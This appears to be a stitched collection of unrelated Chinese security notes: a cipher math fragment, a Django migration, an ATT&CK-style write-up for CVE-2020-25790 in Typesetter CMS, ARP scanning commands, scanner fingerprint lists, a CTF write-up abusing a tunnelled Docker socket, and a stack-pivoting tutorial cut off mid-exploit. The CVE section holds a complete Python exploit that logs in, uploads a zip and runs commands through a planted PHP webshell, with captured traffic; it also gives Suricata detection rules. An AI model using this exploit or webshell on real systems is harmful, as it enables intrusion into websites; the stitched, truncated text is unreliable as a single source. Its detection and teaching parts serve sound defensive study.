I_{83},I_{82}\oplus I_{84})$ $W_{83}=I_{82} \oplus MA_L(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$ $W_{84}=I_{84} \oplus MA_L(I_{81}\oplus I_{83},I_{82}\oplus I_{84})$ 那么对于V11来说 $V_{11}=J_{11} \oplus MA_R(J_{11}\oplus J_{13},J_{12}\oplus J_{14})$ 通过简单带入已有的值,显然 $V_{11}=W_{81} \oplus MA_R(I_{81}\oplus I_{83},I_{82} \oplus I_{84})=I_{81}$ 对于其他的元素也类似,那么其实我们会发现第一轮解密后的结果恰好是$I_{81},I_{83},I_{82},I_{84}$。 类似地,这个关系可以一直满足直到 $V_{81}=I_{11},V_{82}=I_{13},V_{83}=I_{12},V_{84}=I_{14}$ 那么最后再经过一次简单的输出变换,恰好得到最初加密的数值。
sec-knowleage
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2017-09-08 05:07 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('username', models.CharField(max_length=32, unique=True, verbose_name='Username')), ], ), ]
sec-knowleage
# T1190-CVE-2020-25790-Typesetter CMS文件上传漏洞 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## 测试案例 Typesetter CMS存在代码问题漏洞,该漏洞源于允许管理员通过ZIP归档中的. PHP文件上传和执行任意PHP代码。 影响范围:Typesetter CMS 5.x全版本 ## 检测日志 HTTP ## 测试复现 虽然对上传的文件进行了过滤,但是没有对解压文件的文件进行过滤,导致可以上传,php的压缩文件,解压后就可以执行php文件。 Finder.class.php文件中extract函数解压后未对,解压后的文件名进行任何过滤。POC如下: ```yml import argparse from bs4 import BeautifulSoup import requests import sys import re import urllib3 from urllib3.exceptions import InsecureRequestWarning banner = """ usage: main.py [-h] -p PASSWORD -l LOGIN -u URL ==> Exploit for CVE 2020-25790 optional arguments: -h, --help show this help message and exit -p PASSWORD, --password PASSWORD ==> admin password -l LOGIN, --login LOGIN ==> admin login -u URL, --url URL ==> main URL """ print(banner) menu = argparse.ArgumentParser(description="==> Exploit for CVE 2020-25790") menu.add_argument("-p", "--password", required=True, help="==> admin password") menu.add_argument("-l", "--login", required=True, help="==> admin login") menu.add_argument("-u", "--url", required=True, help="==> main URL") menu.add_argument("-f", "--file", required=True, help="==> Malicous zip file with php file inside") args = menu.parse_args() login = args.login password = args.password url = args.url file = args.file PROXIES = proxies = { "http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080", } class Exploit: def __init__(self, login, password, url, file): self.login = login self.password = password self.url = url self.user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari" self.file = open(file, 'rb') def get_nounce(self): try: url = self.url + "/Admin" r = requests.get(url=url, headers={'User-Agent': self.user_agent}, timeout=3, verify=False) data = r.text soap_obj = BeautifulSoup(data, 'html.parser') for inp in soap_obj.find_all("input"): for v in inp: nounce = v['value'] if nounce != None or nounce != "": return nounce except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: print(f'==> Error {e}') def get_hash_folders(self): cookie_auth = self.get_cookies() hash_verified = self.get_verified() data_post = {'verified': hash_verified, 'cmd': 'open', 'target':'', 'init': 1, 'tree': 1} try: url = self.url + "/Admin_Finder" r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': cookie_auth}, timeout=10, verify=False) json_data = r.json() hash_dir = json_data['files'][2]['hash'] return hash_dir except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: print(f'==> Error {e}') def get_cookies(self): nounce = self.get_nounce() if nounce: try: url = self.url + "/Admin" data_post = {'file': '', 'cmd': 'login', 'login_nonce': nounce, 'username': self.login, 'user_sha': '', 'password': self.password, 'pass_md5': '', 'pass_sha': '', 'pass_sha512': '', 'remember': 'on', 'verified': ''} r = requests.post(url=url, verify=False, timeout=3, data=data_post, allow_redirects=False, headers={'User-Agent': self.user_agent, 'Cookie': 'g=2'}) cookie_admin = r.headers['Set-Cookie'] cookie_name = cookie_admin.split(':')[0].split('=')[0] cookie_value = cookie_admin.split(':')[0].split('=')[1].split(';')[0] if cookie_name == None or cookie_name == "": if cookie_value == None or cookie_value == "": print("==> Something went wrong while login") else: data = f"{cookie_name}={cookie_value};" return data except (requests.exceptions.Timeout, requests.exceptions.BaseHTTPError) as e: print(f'==> Error while login {e}') def upload_zip(self): url = self.url + '/Admin_Finder' hash_verified = self.get_verified() hash_dir = self.get_hash_folders() auth_cookie = self.get_cookies() try: print(f"==> Uploading file: {self.file}") data = {'cmd': "upload", "target": hash_dir, "verified": hash_verified} r = requests.post(url=url, verify=False, timeout=10, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, data=data, files={'upload[]': self.file}) hash_file = r.json()['added'][0]['hash'] self.extract_file(auth_cookie, hash_file, hash_verified) except (requests.exceptions.HTTPError, requests.exceptions.Timeout) as e: print(f"==> Error while uploading {e}") def extract_file(self, auth_cookie, hash_file, hash_verified): data_post={'verified': hash_verified, 'cmd': 'extract', 'target': hash_file} try: url = self.url + "/Admin_Finder" r = requests.post(url=url, data=data_post, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) name_file = r.json()['added'][0]['name'] print(f"==> All Hashes are collected from: {name_file}") self.xpl(auth_cookie,name_file) except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: print(f'==> Error {e}') def xpl(self, auth_cookie, name_file): try: url = self.url + "/data/_uploaded/file/" + name_file + "?cmd=id" new_url = url.replace("index.php", "") print(f"==> Try to exploit: {new_url}") r = requests.get(url=new_url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) pattern = r'<pre>(.*?)</pre>' m = re.search(pattern, r.text.replace("\n", "")) if m is not None and m != "": print(f"==> Vulnerable: {m.group(1)}") except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: print(f'==> Error {e}') def get_verified(self): try: url = self.url + "/Admin/Uploaded" auth_cookie = self.get_cookies() r = requests.get(url=url, headers={'User-Agent': self.user_agent, 'Cookie': auth_cookie}, timeout=10, verify=False) data = r.text pattern_regex = r'"verified":"(.*)"}' m = re.search(pattern_regex, data) if m is not None or m != "": return m.group(1) except (requests.exceptions.BaseHTTPError, requests.exceptions.Timeout) as e: print(f'==> Error {e}') if __name__ == "__main__": obj = Exploit(login, password, url, file) obj.upload_zip() ``` ## 测试留痕 ```yml POST /index.php/Admin_Finder HTTP/1.1 Host: 172.17.41.106 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 186 Origin: http://172.17.41.106 Connection: keep-alive Referer: http://172.17.41.106/index.php/Admin/Uploaded Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l verified=cea661e44fe5fe2e1e39fe3c9b055d556ea565fdc613f2adf8aed7b91d14f71002e28067814822df3aaf258cd7d97883f90b7a507fcdd8685b7deea232b9748b&cmd=extract&target=l1_ZmlsZS9zaW1wbGUucGhwLnppcAHTTP/1.1 200 OK Date: Fri, 09 Oct 2020 07:42:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 9 Oct 2020 07:42:58 GMT Expires: Fri, 9 Oct 2020 07:42:58 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache X-Frame-Options: SAMEORIGIN Content-Encoding: gzip Vary: Accept-Encoding Content-Length: 144 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json {"added":[{"mime":"text\/html","ts":1600337620,"read":1,"write":1,"size":348,"hash":"l1_ZmlsZS9zaW1wbGUucGhw","name":"simple.php","phash":"l1_ZmlsZQ"}]}GET /data/_uploaded/file/simple.php HTTP/1.1 Host: 172.17.41.106 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://172.17.41.106/index.php/Admin/Uploaded Cookie: g=2; gpEasy_8970d7b01d50=WGg1nivX5H8WZwTgXg2HS2EIl0m9sD5IOVn2YV5l Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Fri, 09 Oct 2020 07:43:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 181 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <html> <body> <form method="GET" name="simple.php"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> </pre> </body> <script>document.getElementById("cmd").focus();</script> </html> ``` ## 检测规则/思路 ### Suricata规则 ```s alert http any any -> any any (msg:"CVE-2020-25790-requset";flow:established,to_server;content:"POST";http_method;content:"/index.php/Admin_Finder";http_uri;content:"&cmd=extract&target=";http_client_body; flowbits: set, first_get_req; noalert; reference:url,blog.csdn.net/xuandao_ahfengren/article/details/111402910;classtype:web-application-attck;sid:1;rev:1;) alert http any any -> any any (msg:"CVE-2020-25790-rsp";flow:established,to_client;content:"200";http_stat_code;content:"added";http_server_body;flowbits:isset,first_get_req;noalert;flowbits:set,second_get_req;sid:2;rev:1;) alert http any any -> any any (msg:"CVE-2020-25790-Typesetter CMS文件上传漏洞";flow:established,to_server;content:"GET";http_method;content:"/data/_uploaded/file/";http_uri;flowbits:isset,second_get_req;sid:3;rev:1;) ``` ### 建议 流量+安全设备比较容易检测到此攻击行为。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Typesetter CMS文件上传漏洞复现(CVE-2020-25790) <https://blog.csdn.net/xuandao_ahfengren/article/details/111402910>
sec-knowleage
# 基于 ARP 发现内网存活主机 ### ARP简介: ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址 ### 1、nmap扫描 ```bash root@John:~# nmap -sn -PR 192.168.1.1/24 ``` ![](media/5dfd9a546cd24575a6f3dcc700e27fdb.jpg) ### 2、msf扫描 ```bash msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > show options Module options (auxiliary/scanner/discovery/arp_sweep): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface RHOSTS yes The target address range or CIDR identifier SHOST no Source IP Address SMAC no Source MAC Address THREADS 1 yes The number of concurrent threads TIMEOUT 5 yes The number of seconds to wait for new data msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(arp_sweep) > set THREADS 10 ``` ![](media/185d0b136875716cb9602245c9c83dc1.jpg) ![](media/61293e9ad861848052a95221f7da4b21.jpg) ### 3、netdiscover ```bash root@John:~# netdiscover -r 192.168.1.0/24 -i wlan0 ``` ![](media/d521395b5907857c22c4e677dcfc0181.jpg) ![](media/e014ab5145b99e17c902cec765d171ce.jpg) ### 4、arp-scan(linux) (推荐)速度与快捷 项目地址: https://linux.die.net/man/1/arp-scan arp-scan没有内置kali,需要下载安装。 ![](media/1f572b4553deb15c1d8c84a16ba53142.jpg) ![](media/c3c2dffb726780a766b4ef3cd573ced0.jpg) ### 5、Powershell ```bash c:\tmp>powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24" ``` ![](media/97ef86dfca58678be449d5b8e5ed6aaf.jpg) ### 6、arp scannet 项目地址: https://sourceforge.net/projects/arpscannet/files/arpscannet/arpscannet%200.4/ ![](media/727cc7e2717a361bf93d66bdb922b5d6.jpg) ### 7、arp-scan(windows) (推荐)速度与快捷 `arp-scan.exe -t 192.168.1.1/24` 项目地址: https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan (非官方) ![](media/92ce763215c297168c4514992758d91b.jpg) ### 8、arp-ping.exe arp-ping.exe 192.168.1.100 ![](media/302ee6c2b41a771ab5df7c337de15d8e.jpg) ### 9、其他 如cain的arp发现,一些开源py,pl脚本等,不一一介绍。 ### 附录: 以上非内置文件网盘位置。**后门自查**。 链接:https://pan.baidu.com/s/1boYuraJ 密码:58wf <p align="right">--By Micropoor </p>
sec-knowleage
# T1595-002-主动扫描_漏洞扫描 ## 来自ATT&CK的描述 攻击者可能会在实施攻击前扫描漏洞来确定攻击目标。漏洞扫描通常会检查目标主机/应用程序(例如:软件和版本)的配置是否有攻击者试图利用的漏洞。 这些扫描还可能包括收集目标组织的主机信息等其它尝试,从而识别更常见的可利用漏洞。漏洞扫描通常是通过服务器banner、监听端口或其他网络组件(Tomcat\Weblogic等)来获取运行软件和版本号。 ## 测试案例 常见扫描器(Nucei\Awvs\Xray) ## 检测日志 HTTP流量 ## 测试复现 暂无实测示例 ## 测试留痕 暂无实测,故无留痕 ## 检测规则/思路 ### 常见扫描器特征 #### Awvs(Acunetix Web Vulnerability Scanner )版本10.5和11 Awvs在请求的Url,Headers, Body三项里随机包含了能代表自己的特征信息 ```yml <1> Url: acunetix-wvs-test-for-some-inexistent-file by_wvs acunetix_wvs_security_test acunetix acunetix_wvs acunetix_test ``` ```yml <2> Headers: Acunetix-Aspect-Password: Cookie: acunetixCookie Location: acunetix_wvs_security_test X-Forwarded-Host: acunetix_wvs_security_test X-Forwarded-For: acunetix_wvs_security_test Host: acunetix_wvs_security_test Cookie: acunetix_wvs_security_test Cookie: acunetix Accept: acunetix/wvs Origin: acunetix_wvs_security_test Referer: acunetix_wvs_security_test Via: acunetix_wvs_security_test Accept-Language: acunetix_wvs_security_test Client-IP: acunetix_wvs_security_test HTTP_AUTH_PASSWD: acunetix User-Agent: acunetix_wvs_security_test Acunetix-Aspect-Queries:任意值 Acunetix-Aspect:任意值 ``` ```yml <3> Body (请求的post信息) acunetix_wvs_security_test acunetix ``` #### Netsparker Netsparker依然在请求的Url,Headers, Body三项里随机包含了能代表自己的特征信息 ```yml <1> Url netsparker Netsparker ns: netsparker ``` ```yml <2> Headers X-Scanner: Netsparker Location: Netsparker Accept: netsparker/check Cookie: netsparker Cookie: NETSPARKER ``` ```yml <3> Body netsparker ``` #### Appscan Appscan依然在请求的Url,Headers, Body三项里随机包含了能代表自己的特征信息 ```yml <1>Url Appscan ``` ```yml <2> Headers Content-Type: Appscan Content-Type: AppScanHeader Accept: Appscan User-Agent:Appscan ``` ```yml <3> Body Appscan ``` #### Webinspect Webinspect依然在请求的Url,Headers, Body三项里随机包含了能代表自己的特征信息 ```yml <1> Url HP404 ``` ```yml <2> Headers User-Agent: HP ASC Cookie: webinspect X-WIPP: 任意值 X-Request-Memo: 任意值 X-Scan-Memo: 任意值 Cookie: CustomCookie X-RequestManager-Memo: 任意值 ``` ```yml <3> Body Webinspect ``` #### Rsas (绿盟极光) Rsas 的主要的特征在Url和Headers中 ```yml <1> Url nsfocus ``` ```yml <2> Headers User-Agent: Rsas ``` #### Nessus Nessus的特征主要在Url,Headers,Body中 ```yml <1> Url nessus Nessus ``` ```yml <2> Headers x_forwarded_for: nessus referer: nessus host: nessus ``` ```yml <3> Body nessus Nessus ``` #### WebReaver WebReaver的特征只在Headers中的UA中 ```yml <1> Headers User-Agent: WebReaver ``` #### Sqlmap Sqlmap在Url,Headers,Body中都含有特征值 ```yml <1> Url sqlmap ``` ```yml <2> Headers User-Agent: sqlmap(后接版本号,跟当前版本有关系) ``` ```yml <3> Body sqlmap ``` #### NMAP 最近做分析监测到的特征 ```yml user-agent:Nmap Scripting Engine; https://nmap.org/book/nse.html ``` ## 建议 监控可能存在扫描的可疑网络流量,例如来自单个源的大量流量(尤其是如果已知该源与攻击者或僵尸网络相关联)。分析Web访问数据也可能会发现潜在恶意活动的特征,例如referer值或HTTP/S中的user-agent字段里字符串。 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。 检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。 ## 参考推荐 MITRE-ATT&CK-T1595-002 <https://attack.mitre.org/techniques/T1595/002/> 常见扫描器或者自动化工具的特征(指纹) <https://www.freebuf.com/column/156291.html>
sec-knowleage
# T1583-002-盗取账户-电子邮箱账户 ## 来自ATT&CK的描述 攻击者可能会创建可在攻击目标过程中使用的电子邮件账户。攻击者可以使用在电子邮件供应商处创建的账户来推进他们的行动,例如利用它们来进行 "信息钓鱼 "或 "网络钓鱼"。攻击者还可以采取措施,围绕电子邮件账户培养一个角色,例如通过使用社交媒体账户,增加后续行为的成功机会。创建的电子邮件账户也可用于获取基础设施(例如:域名)。 为了减少将行动与自己联系起来的机会,攻击者可能会使用一次性的电子邮件服务。 ## 测试案例 通过搜索引擎可以检索到很多临时邮箱、历史联系号码等资源。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 大部分此类活动将在目标组织的可见性之外进行,因此很难检测到这种行为。检测工作可能集中在攻击生命周期的相关阶段,例如在初始访问期间(例如:网络钓鱼)。 ## 参考推荐 MITRE-ATT&CK-T1585-002 <https://attack.mitre.org/techniques/T1585/002/>
sec-knowleage
showmount === 显示NFS服务器加载的信息 ## 补充说明 **showmount命令** 查询“mountd”守护进程,以显示NFS服务器加载的信息。 ### 语法 ```shell showmount(选项)(参数) ``` ### 选项 ```shell -d:仅显示已被NFS客户端加载的目录; -e:显示NFS服务器上所有的共享目录。 ``` ### 参数 NFS服务器:指定NFS服务器的ip地址或者主机名。
sec-knowleage
## 信息收集模块 |Information Gathering|||||| |:-:|:-:|:-:|:-:|:-:|:-:| |[acccheck](acccheck.md)|[ace-voip](ace-voip.md)|[Amap](Amap.md)|[Automater](Automater.md)|[bing-ip2hosts](bing-ip2hosts.md)|[braa](braa.md)| |[CaseFile](CaseFile.md)|[CDPSnarf](CDPSnarf.md)|[cisco-torch](cisco-torch.md)|[Cookie Cadger](Cookie%20Cadger.md)|[copy-router-config](copy-router-config.md)|[DMitry](DMitry.md)| |[dnmap](dnmap.md)|[dnsenum](dnsenum.md)|[dnsmap](dnsmap.md)|[DNSRecon](DNSRecon.md)|[dnstracer](dnstracer.md)|[dnswalk](dnswalk.md)| |[DotDotPwn](DotDotPwn.md)|[enum4linux](enum4linux.md)|[enumIAX](enumlAX.md)|[Fierce](Fierce.md)|[Firewalk](Firewalk.md)|[fragroute](fragroute.md)| |[fragrouter](fragrouter.md)|[Ghost Phisher](Ghost-Fisher.md)|[GoLismero](golismero.md)|[goofile](goofile.md)|[hping3](hping3.md)|[InTrace](intrace.md)| |[iSMTP](iSMTP.md)|[lbd](lbd.md)|[Maltego Teeth](Maltego.md)|[masscan](masscan.md)|[Metagoofil](Metagoofil.md)|[Miranda](Miranda.md)| |[nbtscan-unixwiz](nbtscan-unixwiz.md)|[Nmap](Nmap.md)|ntop|p0f|Parsero|Recon-ng| |SET|smtp-user-enum|snmp-check|sslcaudit|SSLsplit|[sslstrip](sslstrip.md)| |SSLyze|[THC-IPV6](THC-IPV6.md)|[theHarvester](theHarvester.md)|[TLSSLed](TLSSLed.md)|[twofi](twofi.md)|[URLCrazy](URLCrazy.md)| |[Wireshark](Wireshark.md)|[WOL-E](WOL-E.md)|[Xplico](Xplico.md)|[APT2](APT2.md)|[ident-user-enum](ident-user-enum.md)|[SET](SET.md)|
sec-knowleage
# Docker Manager * Category: Misc. * 350 Points * Solved by the JCTF Team ## Description > At Last! > > We got the SSH credentials, Can you hack it and send us the password? > > URL: ssh://bsidestlv:d0ck3rm4n4g3r@docker-manager.ctf.bsidestlv.com:8000 ## Solution We connect to SSH server using `sshpass -p 'd0ck3rm4n4g3r' ssh bsidestlv@docker-manager.ctf.bsidestlv.com -p 8000` and immediate get the following screen: ![](images/docker.png) In this screen we can try to enter a password, however we don't know what the correct password is. We can't seem to kill this application or execute anything interesting within it. At some point, the following hint was published by the organizers: > SSH + Docker = :broken_heart: Indeed! using SSH Tunneling we can expose the [Docker Deamon Socket](https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option) which allows using the Docker API. We can create the tunnel by running the following command: ``` root@kali:/media/sf_CTFs/bsidestlv/Docker_Manager/docker# sshpass -p 'd0ck3rm4n4g3r' ssh -N -L localhost:9999:/var/run/docker.sock bsidestlv@docker-manager.ctf.bsidestlv.com -p 8000 ``` This means that when we access our localhost at port 9999, the request will be tunneled to the remote host at port `/var/run/docker.sock`. Let's try this: ```console root@kali:/media/sf_CTFs/bsidestlv/Docker_Manager/docker# curl -s http://localhost:9999/version | python -m json.tool { "ApiVersion": "1.40", "Arch": "amd64", "BuildTime": "2020-03-11T01:29:16.000000000+00:00", "Components": [ { "Details": { "ApiVersion": "1.40", "Arch": "amd64", "BuildTime": "2020-03-11T01:29:16.000000000+00:00", "Experimental": "false", "GitCommit": "afacb8b", "GoVersion": "go1.12.17", "KernelVersion": "4.19.104-microsoft-standard", "MinAPIVersion": "1.12", "Os": "linux" }, "Name": "Engine", "Version": "19.03.8" }, { "Details": { "GitCommit": "7ad184331fa3e55e52b890ea95e65ba581ae3429" }, "Name": "containerd", "Version": "v1.2.13" }, { "Details": { "GitCommit": "dc9208a3303feef5b3839f4323d9beb36df0a9dd" }, "Name": "runc", "Version": "1.0.0-rc10" }, { "Details": { "GitCommit": "fec3683" }, "Name": "docker-init", "Version": "0.18.0" } ], "GitCommit": "afacb8b", "GoVersion": "go1.12.17", "KernelVersion": "4.19.104-microsoft-standard", "MinAPIVersion": "1.12", "Os": "linux", "Platform": { "Name": "Docker Engine - Community" }, "Version": "19.03.8" } ``` We have contact! Now, let's enumerate the containers: ```console root@kali:/media/sf_CTFs/bsidestlv/Docker_Manager/docker# curl -s http://localhost:9999/containers/json | python -m json.tool [ { "Command": "docker-entrypoint.sh /usr/sbin/sshd -D", "Created": 1593249326, "HostConfig": { "NetworkMode": "docker-manager_default" }, "Id": "ca3b76fc5a79dbfaffa9c11456d5ccecd43f03f37e8cfdb7becc27cc59ed3f1d", "Image": "docker-manager_challenge", "ImageID": "sha256:f2def1180f982e1c9955725a219ce8532d305ae6e01e66c9643f7dbe0c3ad8f7", "Labels": { "com.docker.compose.config-hash": "0345033b5a07fe9cd165abbf678cd54dbc8a05ae93d1f715eafab117973e436c", "com.docker.compose.container-number": "1", "com.docker.compose.oneoff": "False", "com.docker.compose.project": "docker-manager", "com.docker.compose.project.config_files": "docker-manager/docker-compose.yml", "com.docker.compose.project.working_dir": "/mnt/e/Projects/BSidesTLVCTF/ctf20/dockerfiles/docker-manager/api/docker-manager", "com.docker.compose.service": "challenge", "com.docker.compose.version": "1.25.5", "desktop.docker.io/wsl-distro": "Ubuntu-20.04" }, "Mounts": [ { "Destination": "/var/run/docker.sock", "Mode": "rw", "Propagation": "rprivate", "RW": true, "Source": "/run/desktop/mnt/host/wsl/docker-desktop-bind-mounts/Ubuntu-20.04/71329c4cc6e32171553fa81d044eb31d1a3aac52ba9376c4a99f4505c494cf5b", "Type": "bind" } ], "Names": [ "/docker-manager_challenge_1" ], "NetworkSettings": { "Networks": { "docker-manager_default": { "Aliases": null, "DriverOpts": null, "EndpointID": "d51f6464dfb631039c8a278f671cf68ae2615048f4f279d9ee1a761397871179", "Gateway": "172.29.0.1", "GlobalIPv6Address": "", "GlobalIPv6PrefixLen": 0, "IPAMConfig": null, "IPAddress": "172.29.0.2", "IPPrefixLen": 16, "IPv6Gateway": "", "Links": null, "MacAddress": "02:42:ac:1d:00:02", "NetworkID": "0f2a5ae4391f59b48cb8a5dd2344b2b304bea6a3497c8ab0fd0cbc3029616c4e" } } }, "Ports": [ { "IP": "0.0.0.0", "PrivatePort": 22, "PublicPort": 2222, "Type": "tcp" } ], "State": "running", "Status": "Up Less than a second" } ] ``` We have one container, let's view its details and search for the flag: ```console root@kali:/media/sf_CTFs/bsidestlv/Docker_Manager/docker# curl -s http://localhost:9999/containers/ca3b76fc5a79dbfaffa9c11456d5ccecd43f03f37e8cfdb7becc27cc59ed3f1d/json | python3 -m json.tool | grep -i bsides "FLAG=BSidesTLV2020{SSH_F0RWARD1NG_F0R_FUN_4ND_PR0F1T}" "com.docker.compose.project.working_dir": "/mnt/e/Projects/BSidesTLVCTF/ctf20/dockerfiles/docker-manager/api/docker-manager", ``` The flag: `BSidesTLV2020{SSH_F0RWARD1NG_F0R_FUN_4ND_PR0F1T}`
sec-knowleage
### stack pivoting原理 stack pivoting,正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting - 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链 - 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。 - 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用 此外,利用 stack pivoting 有以下几个要求 - 可以控制程序执行流。 - 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是 ```asm pop rsp/esp ``` 当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。 ```asm gef➤ x/7i 0x000000000040061a 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/7i 0x000000000040061d 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret ``` 此外,还有更加高级的 fake frame。 - 存在可以控制内容的内存,一般有如下 - bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。 - heap。但是这个需要我们能够泄露堆地址。 ### stack pivoting示例 这里我们以 [X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w) 为例进行介绍。首先,查看程序的安全保护,如下 ```shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` 可以看出源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞 ```C signed int vul() { char s; // [sp+18h] [bp-20h]@1 puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1; } ``` 可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下 - 利用栈溢出布置 shellcode - 控制 eip 指向 shellcode 处 第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。 ```shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 Unique gadgets found: 3 ``` 这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下 ```text shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp ``` 那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道 - size(shellcode+padding)=0x20 - size(fake ebp)=0x4 - size(0x08048504)=0x4 所以我们最后一段需要执行的指令就是 ```asm sub esp,0x28 jmp esp ``` 所以最后的 exp 如下 ```python from pwn import * 